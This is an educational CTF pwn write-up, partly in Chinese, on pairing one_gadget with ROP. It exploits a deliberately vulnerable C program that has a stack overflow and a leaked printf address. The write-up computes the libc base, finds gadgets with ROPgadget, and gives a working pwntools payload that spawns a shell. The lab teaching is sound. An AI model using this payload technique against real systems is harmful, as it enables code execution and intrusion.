Simple PWN - 0x08(one_gadget with ROP)
tags: CTF PWN eductf
one_gadget background
Day25: [Misc] 我從來沒想過我會害怕寫 code
原理是在
glibc裡面有很多會透過execve執行/bin/sh、再調用外部系統指令的 assembly,當 explolit 已經得知libc的位之後而且可以控制 RIP 之後,就可以直接跳該位置達成 shell out,不需要再辛苦堆 stack 上的參數
Original Code
#include <stdio.h>
#include <unistd.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IOBNF, 0);
char s[0x10];
printf("Your libc: %p", printf);
read(0, s, 0x100);
return 0;
}
- The program has buffer overflow, however it has no backdoor method can access and has no global variable can write shellcode. Thus, we can consider to use
ROPto get shell. - Note that, it must be a dynamic library, so DO NOT use
-staticto compile it.gcc -o one_gadget_with_rop one_gadget_with_rop.c -no-pie -fno-stack-protector -z norelro -zexecstack
Exploit
- First, we use `ldd` command to find what library the program will use.
- In addition, we use
one_gadgetcommand to findexecvs- Note that, how to use it can refer to one_gadget用法
- We use
0xebcf8 execve("/bin/sh", rsi, rdx)as our method
-
Note:
it has 3 constraint so that we can get the shell
address rbp-0x78 is writable [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
-
Note:
- Then, we use
one_gadgetcommand to getROPchainROPgadget --binary one_gadget_with_rop --only "pop|ret" > one_gadget vim one_gadgetYou can see that because we didn’t compile with library, the gadget that we may can use is very few.
The solution is using the gadget that libchave:$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" > one_gadget $ vim one_gadgetWe must satisfied one_gadget constraint.
0x90529and0x2be51are the offset of/lib/x86_64-linux-gnu/libc.so.6. Therefore, if we want to call these gadget, we must find out the real base address of `/lib/x86_64-linux-gnu/libc.so.6`.

- Because,
ASLRis turn on in default, so the address of library will be random, we just know the offset of library. In original code, it told us theprintfaddress in/lib/x86_64-linux-gnu/libc.so.6→ `0x7ffff7def770`
Used gdbcan find the current address of library → `0x7ffff7d8f000`
Then we can know the offset and construct apart of payload as below
\(0x7ffff7def770 - 0x7ffff7d8f000 = 0x60770\)
from pwn import * import sys context.arch = 'amd64' r = process('./one_gadget_with_rop') r.recvuntil("Your libc: ") libc = int(r.recv(14), 16) - 0x60770 info(f"libc: {hex(libc)}") - And prepare our gadget:
pop_rdx_rbx_ret = libc + 0x90529 pop_rsi_ret = libc + 0x2be51 - Construct whole payload with considering the constraint:
r.send(b'a'*0x10 + p64(0x404000) + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0) + p64(libc+0xebcf8)) r.interactivae()-
b'a'*0x10is for$rsi -
p64(0x404000)is an arbitrary writable and readable address for$rbp-0x78one of the constraint of one_gadget -
p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0)is what we did in last lecture ofROP -
p64(libc+0xebcf8)is the one_gadget that we choose at the beginning.
-
- Finally, we got shell!!!